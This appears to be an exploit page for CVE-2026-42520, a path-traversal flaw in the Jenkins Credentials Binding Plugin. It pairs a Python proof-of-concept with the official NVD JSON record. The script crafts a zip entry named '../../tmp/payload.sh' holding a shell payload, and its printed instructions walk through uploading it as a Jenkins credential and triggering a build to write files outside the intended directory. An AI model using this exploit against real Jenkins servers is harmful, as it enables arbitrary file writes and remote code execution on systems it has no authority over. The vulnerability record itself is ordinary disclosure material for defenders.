CVE-2026-42520

import zipfile import os # Malicious payload content payload_content = b"echo 'pwned' > /tmp/pwned.txt" # Construct a filename with path traversal # This attempts to write to /tmp/payload.sh on the host malicious_filename = "../../tmp/payload.sh" # Create a zip file containing the malicious file with zipfile.ZipFile("exploit.zip", "w") as zf: zf.writestr(malicious_filename, payload_content) print("[+] Malicious zip file created: exploit.zip") print("[+] Upload this file as a 'File' or 'Zip File' credential in Jenkins.") print("[+] Configure a job to use this credential and trigger a build.")

{"cve": {"id": "CVE-2026-42520", "sourceIdentifier": "[email protected]", "published": "2026-04-29T14:16:19.067", "lastModified": "2026-05-06T16:32:41.713", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Jenkins Credentials Binding Plugin 719.v80e905ef14eb_ and earlier does not sanitize file names for file and zip file credentials, allowing attackers able to provide credentials to a job to write files to arbitrary locations on the node filesystem, which can lead to remote code execution if Jenkins is configured to allow a low-privileged user to configure file or zip file credentials used for a job running on the built-in node."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:credentials_binding:*:*:*:*:*:jenkins:*:*", "versionEndIncluding": "719.v80e905ef14eb", "matchCriteriaId": "09E8BA0C-B5EA-4BB8-A58F-CC01BC11823A"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2026-04-29/#SECURITY-3672", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}